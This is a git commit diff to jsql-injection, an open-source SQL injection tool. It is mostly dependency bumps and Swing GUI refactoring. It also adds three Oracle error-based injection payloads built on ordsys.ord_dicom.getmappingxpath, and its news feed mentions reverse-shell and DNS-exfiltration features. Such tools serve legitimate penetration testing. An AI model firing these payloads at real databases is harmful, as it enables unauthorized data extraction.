Optimize GUI, prepare for DNS exfiltration

ron190 · ron190 · commit 67afe48a8896 · 2025-10-19T12:48:16.000+02:00
- Add oracle Error strategy `getmappingxpath()` - Use zero size split panes - Fixes #96199 - Bump dependencies
diff --git a/model/pom.xml b/model/pom.xml
@@ -53,23 +53,23 @@
         <awaitility.version>4.3.0</awaitility.version>
         <bootstrap.version>5.3.5</bootstrap.version>
         <!-- required since commons-text:1.11.0 not working -->
-        <commons-lang3.version>3.17.0</commons-lang3.version>
+        <commons-lang3.version>3.18.0</commons-lang3.version>
         <cubrid-jdbc.version>11.3.1.0050</cubrid-jdbc.version>
         <dnsjava.version>3.6.3</dnsjava.version>
-        <gmavenplus-plugin.version>4.2.0</gmavenplus-plugin.version>
+        <gmavenplus-plugin.version>4.2.1</gmavenplus-plugin.version>
         <graphql-java-tools.version>5.2.4</graphql-java-tools.version>
         <graphql-spring-boot-starter.version>5.0.2</graphql-spring-boot-starter.version>
         <groovy-test-junit5.version>4.0.13</groovy-test-junit5.version>
         <h2.version>2.3.232</h2.version>
         <hsqldb.version>2.7.4</hsqldb.version>
         <informix.jdbc.version>15.0.0.1.1</informix.jdbc.version>
         <jaxb-api.version>2.1</jaxb-api.version>
-        <jaybird.version>6.0.1</jaybird.version>
+        <jaybird.version>6.0.3</jaybird.version>
         <jcabi-log.version>0.24.3</jcabi-log.version>
         <jna.version>5.17.0</jna.version>
         <jquery.version>3.7.1</jquery.version>
         <json.version>20250107</json.version>
-        <jsoup.version>1.19.1</jsoup.version>
+        <jsoup.version>1.20.1</jsoup.version>
         <junit-pioneer.version>2.3.0</junit-pioneer.version>
         <juniversalchardet.version>1.0.3</juniversalchardet.version>
         <maven-failsafe-plugin.version>3.5.3</maven-failsafe-plugin.version>
@@ -81,7 +81,7 @@
         <mysql-connector-j.version>9.2.0</mysql-connector-j.version>
         <nashorn-core.version>15.6</nashorn-core.version>
         <!-- failure with 5.28.2 -->
-        <neo4j-java-driver.version>5.27.0</neo4j-java-driver.version>
+        <neo4j-java-driver.version>6.0.1</neo4j-java-driver.version>
         <neo4j-jdbc-driver.version>4.0.10</neo4j-jdbc-driver.version>
         <ojdbc8.version>23.8.0.25.04</ojdbc8.version>
         <pitest-junit5-plugin.version>1.2.2</pitest-junit5-plugin.version>
@@ -95,7 +95,7 @@
         <sqlite-dialect.version>0.1.4</sqlite-dialect.version>
         <stomp-websocket.version>2.3.4</stomp-websocket.version>
         <sybase-jconn4.version>16.0</sybase-jconn4.version>
-        <vertica-jdbc.version>24.4.0-0</vertica-jdbc.version>
+        <vertica-jdbc.version>25.3.0-0</vertica-jdbc.version>
     </properties>
 
     <dependencyManagement>
diff --git a/model/src/main/java/com/jsql/util/TamperingUtil.java b/model/src/main/java/com/jsql/util/TamperingUtil.java
@@ -97,8 +97,8 @@ public String tamper(String sqlQueryDefault) {
 
         sqlQuery = lead + sqlQuery + trail;
 
-        String regexToremoveTamperTags = String.format("(?i)%s|%s", TamperingUtil.TAG_OPENED, TamperingUtil.TAG_CLOSED);
-        sqlQuery = sqlQuery.replaceAll(regexToremoveTamperTags, StringUtils.EMPTY);
+        String regexToRemoveTamperTags = String.format("(?i)%s|%s", TamperingUtil.TAG_OPENED, TamperingUtil.TAG_CLOSED);
+        sqlQuery = sqlQuery.replaceAll(regexToRemoveTamperTags, StringUtils.EMPTY);
 
         // Empty when checking character insertion
         if (StringUtils.isEmpty(sqlQuery)) {
diff --git a/model/src/main/resources/vendor/oracle.yml b/model/src/main/resources/vendor/oracle.yml
@@ -281,6 +281,28 @@ strategy:
       )) from dual
      capacity: 481
      
+   - name: Dicom:or
+     query: |
+      /* ORA-53044: invalid tag: <sqli> */
+      or 1=ordsys.ord_dicom.getmappingxpath((
+          ${window}
+      ))
+     capacity: 481
+
+   - name: Dicom:and
+     query: |
+      and 1=ordsys.ord_dicom.getmappingxpath((
+          ${window}
+      ))
+     capacity: 481
+
+   - name: Dicom:stack
+     query: |
+      ; select ordsys.ord_dicom.getmappingxpath((
+          ${window}
+      )) from dual
+     capacity: 481
+
    - name: Sqlhash:or
      query: |
       /* ORA-13797: invalid SQL Id specified, <sqli> */
diff --git a/pom.xml b/pom.xml
@@ -22,11 +22,9 @@
         <sonar.java.binaries>target/classes</sonar.java.binaries>
         <sonar.java.source>11</sonar.java.source>
 
-        <commons-text.version>1.13.1</commons-text.version>
+        <commons-text.version>1.14.0</commons-text.version>
         <flatten-maven-plugin.version>1.7.0</flatten-maven-plugin.version>
         <jacoco-maven-plugin.version>0.8.13</jacoco-maven-plugin.version>
-        <!-- False positive: GData Java.Exploit.CVE-2021-44228.N Acronis (Static ML) -->
-        <!-- Fixed since Apache Log4j Core - 2.15.0 -->
         <log4j-bom.version>2.24.3</log4j-bom.version>
         <maven-antrun-plugin.version>3.1.0</maven-antrun-plugin.version>
         <maven-assembly-plugin.version>3.7.1</maven-assembly-plugin.version>
@@ -44,7 +42,7 @@
         <maven-release-plugin.version>3.1.1</maven-release-plugin.version>
         <maven-site-plugin.version>4.0.0-M16</maven-site-plugin.version>
         <maven-surefire-plugin.version>3.5.3</maven-surefire-plugin.version>
-        <pitest-maven.version>1.19.1</pitest-maven.version>
+        <pitest-maven.version>1.20.4</pitest-maven.version>
         <spotbugs-maven-plugin.version>4.9.3.0</spotbugs-maven-plugin.version>
         <versions-maven-plugin.version>2.18.0</versions-maven-plugin.version>
 
diff --git a/view/pom.xml b/view/pom.xml
@@ -12,7 +12,7 @@
     <properties>
         <assertj-swing-junit.version>3.17.1</assertj-swing-junit.version>
         <commons-io.version>2.19.0</commons-io.version>
-        <flatlaf.version>3.6</flatlaf.version>
+        <flatlaf.version>3.6.1</flatlaf.version>
         <junit-jupiter-engine.version>5.12.2</junit-jupiter-engine.version>
         <maven-shade-plugin.version>3.6.0</maven-shade-plugin.version>
         <maven-assembly-plugin.version>3.7.1</maven-assembly-plugin.version>
@@ -22,6 +22,11 @@
     </properties>
 
     <dependencies>
+        <dependency>
+            <groupId>dnsjava</groupId>
+            <artifactId>dnsjava</artifactId>
+            <version>3.6.3</version>
+        </dependency>
         <dependency>
             <groupId>${project.groupId}</groupId>
             <artifactId>model</artifactId>
diff --git a/view/src/main/java/com/jsql/view/swing/action/ActionCloseTabResult.java b/view/src/main/java/com/jsql/view/swing/action/ActionCloseTabResult.java
@@ -21,7 +21,7 @@ public static void perform(int closeTabNumber) {
 
             if (MediatorHelper.tabResults().getTabCount() == 0) {
                 var splitPaneTopBottom = MediatorHelper.frame().getSplitNS();
-                JSplitPane splitPaneLeftRight = splitPaneTopBottom.getSplitEW();
+                var splitPaneLeftRight = splitPaneTopBottom.getSplitEW();
                 int dividerLocation = splitPaneLeftRight.getDividerLocation();
 
                 var label = new JLabel(UiUtil.APP_BIG.getIcon());
diff --git a/view/src/main/java/com/jsql/view/swing/manager/ManagerCoder.java b/view/src/main/java/com/jsql/view/swing/manager/ManagerCoder.java
@@ -18,6 +18,7 @@
 import com.jsql.view.swing.text.JTextAreaPlaceholder;
 import com.jsql.view.swing.text.listener.DocumentListenerEditing;
 import com.jsql.view.swing.util.I18nViewUtil;
+import com.jsql.view.swing.util.JSplitPaneWithZeroSizeDivider;
 import com.jsql.view.swing.util.UiUtil;
 
 import javax.swing.*;
@@ -100,7 +101,7 @@ public void process() {
         var bottom = new JPanel(new BorderLayout());
         bottom.add(new JScrollPane(this.result), BorderLayout.CENTER);
 
-        var divider = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
+        var divider = new JSplitPaneWithZeroSizeDivider(JSplitPane.VERTICAL_SPLIT);
         divider.setResizeWeight(0.5);
         divider.setTopComponent(topMixed);
         divider.setBottomComponent(bottom);
diff --git a/view/src/main/java/com/jsql/view/swing/panel/PanelConsoles.java b/view/src/main/java/com/jsql/view/swing/panel/PanelConsoles.java
@@ -24,6 +24,7 @@
 import com.jsql.view.swing.text.JTextAreaPlaceholderConsole;
 import com.jsql.view.swing.text.JToolTipI18n;
 import com.jsql.view.swing.util.I18nViewUtil;
+import com.jsql.view.swing.util.JSplitPaneWithZeroSizeDivider;
 import com.jsql.view.swing.util.MediatorHelper;
 import com.jsql.view.swing.util.UiUtil;
 import org.apache.commons.lang3.StringUtils;
@@ -99,7 +100,7 @@ public PanelConsoles() {
     }
 
     private void initSplit() {
-        this.networkSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
+        this.networkSplitPane = new JSplitPaneWithZeroSizeDivider(JSplitPane.HORIZONTAL_SPLIT);
         this.networkSplitPane.setDividerLocation(600);
         this.networkSplitPane.setPreferredSize(new Dimension(0,0));  // required for correct scroll placement
 
diff --git a/view/src/main/java/com/jsql/view/swing/panel/split/SplitNS.java b/view/src/main/java/com/jsql/view/swing/panel/split/SplitNS.java
@@ -10,6 +10,7 @@
  ******************************************************************************/
 package com.jsql.view.swing.panel.split;
 
+import com.jsql.view.swing.util.JSplitPaneWithZeroSizeDivider;
 import com.jsql.model.InjectionModel;
 import com.jsql.util.I18nUtil;
 import com.jsql.util.PreferencesUtil;
@@ -28,12 +29,12 @@
 /**
  * SplitPane composed of tree and tabs on top, and info tabs on bottom.
  */
-public class SplitNS extends JSplitPane {
+public class SplitNS extends JSplitPaneWithZeroSizeDivider {
 
     /**
      * SplitPane containing Manager panels on the left and result tabs on the right.
      */
-    private final JSplitPane splitEW = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
+    private final JSplitPane splitEW = new JSplitPaneWithZeroSizeDivider(JSplitPane.HORIZONTAL_SPLIT);
 
     private static final JPanel PANEL_HIDDEN_CONSOLES = new JPanel();
     
diff --git a/view/src/main/java/com/jsql/view/swing/terminal/EmptyFocusCopy.java b/view/src/main/java/com/jsql/view/swing/terminal/EmptyFocusCopy.java
@@ -1,6 +1,8 @@
 package com.jsql.view.swing.terminal;
 
-import com.jsql.model.exception.JSqlRuntimeException;
+import com.jsql.util.LogLevelUtil;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
 
 import java.awt.*;
 import java.awt.datatransfer.DataFlavor;
@@ -15,6 +17,8 @@
  */
 public class EmptyFocusCopy implements MouseListener {
 
+    private static final Logger LOGGER = LogManager.getRootLogger();
+
     private final AbstractExploit abstractExploit;
 
     public EmptyFocusCopy(AbstractExploit abstractExploit) {
@@ -35,8 +39,8 @@ private void pasteClipboard() {
         try {
             String data = (String) Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor);
             this.abstractExploit.append(data);
-        } catch (UnsupportedFlavorException | IOException ex) {
-            throw new JSqlRuntimeException(ex);
+        } catch (UnsupportedFlavorException | IOException e) {
+            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
         }
     }
 
diff --git a/view/src/main/java/com/jsql/view/swing/util/JSplitPaneWithZeroSizeDivider.java b/view/src/main/java/com/jsql/view/swing/util/JSplitPaneWithZeroSizeDivider.java
@@ -0,0 +1,95 @@
+package com.jsql.view.swing.util;
+
+import javax.swing.*;
+import javax.swing.border.Border;
+import javax.swing.plaf.basic.BasicSplitPaneDivider;
+import javax.swing.plaf.basic.BasicSplitPaneUI;
+import java.awt.*;
+
+public class JSplitPaneWithZeroSizeDivider extends JSplitPane {
+
+    private final int dividerDragOffset = 4;
+
+    public JSplitPaneWithZeroSizeDivider(int i) {
+        super(i);
+        this.setDividerSize(1);
+        this.setContinuousLayout(true);
+    }
+
+    @Override
+    public void doLayout() {
+        super.doLayout();
+
+        // increase divider width or height
+        BasicSplitPaneDivider divider = ((BasicSplitPaneUI) this.getUI()).getDivider();
+        Rectangle bounds = divider.getBounds();
+        int dividerDragSize = 9;
+        if (this.orientation == JSplitPane.HORIZONTAL_SPLIT) {
+            bounds.x -= this.dividerDragOffset;
+            bounds.width = dividerDragSize;
+        } else {
+            bounds.y -= this.dividerDragOffset;
+            bounds.height = dividerDragSize;
+        }
+        divider.setBounds(bounds);
+    }
+
+    @Override
+    public void updateUI() {
+        this.setUI(new SplitPaneWithZeroSizeDividerUI());
+        this.revalidate();
+    }
+
+    private class SplitPaneWithZeroSizeDividerUI extends BasicSplitPaneUI {
+
+        @Override
+        public BasicSplitPaneDivider createDefaultDivider() {
+            return new ZeroSizeDivider(this);
+        }
+
+        @Override
+        protected void installDefaults() {
+            super.installDefaults();
+
+            // make sure that divider is first component (and can overlap left/right components)
+            if (this.splitPane.getComponent(0) != this.divider) {
+                this.splitPane.setLeftComponent(this.splitPane.getLeftComponent());
+                this.splitPane.setRightComponent(this.splitPane.getRightComponent());
+            }
+        }
+    }
+
+    private class ZeroSizeDivider extends BasicSplitPaneDivider {
+
+        public ZeroSizeDivider(BasicSplitPaneUI ui) {
+            super(ui);
+            super.setBorder(null);
+            this.setBackground(UIManager.getColor("controlShadow"));
+        }
+
+        @Override
+        public void setBorder(Border border) {
+            // ignore
+        }
+
+        @Override
+        public void paint(Graphics g) {
+            g.setColor(this.getBackground());
+            if (this.orientation == JSplitPane.HORIZONTAL_SPLIT) {
+                g.drawLine(JSplitPaneWithZeroSizeDivider.this.dividerDragOffset, 0, JSplitPaneWithZeroSizeDivider.this.dividerDragOffset, this.getHeight() - 1);
+            } else {
+                g.drawLine(0, JSplitPaneWithZeroSizeDivider.this.dividerDragOffset, this.getWidth() - 1, JSplitPaneWithZeroSizeDivider.this.dividerDragOffset);
+            }
+        }
+
+        @Override
+        protected void dragDividerTo(int location) {
+            super.dragDividerTo(location + JSplitPaneWithZeroSizeDivider.this.dividerDragOffset);
+        }
+
+        @Override
+        protected void finishDraggingTo(int location) {
+            super.finishDraggingTo(location + JSplitPaneWithZeroSizeDivider.this.dividerDragOffset);
+        }
+    }
+}
diff --git a/web/services/jsql-injection.json b/web/services/jsql-injection.json
@@ -1,10 +1,8 @@
 {
     "version": "0.112",
     "news": [
-        "[Next release] Added Blind binary search, less efficient than Blind bitwise but required by some database",
-        "[v0.111: Reverse shell] Now open rev shell from RCE in plain Java without any netcat nor any external tool",
-        "[RCE shell] How to open RCE shell and rev shell? For details go to https://github.com/ron190/jsql-injection/wiki/Exploit",
-        "[Pinned] Report any bugs and thoughts, add your star at https://github.com/ron190/jsql-injection",
-        "[Contribution] Recent contrib to Chinese translation is appreciated, thanks"
+        "[DNS exfiltration] Implementation ongoing as injection via DNS works on my setup finally, just hope running tests will be a blast on docker",
+        "[RCE shell] How to open RCE shell and reverse shell? For details go to https://github.com/ron190/jsql-injection/wiki/Exploit",
+        "[Pinned] Report any bugs and thoughts, add your star at https://github.com/ron190/jsql-injection"
     ]
 }
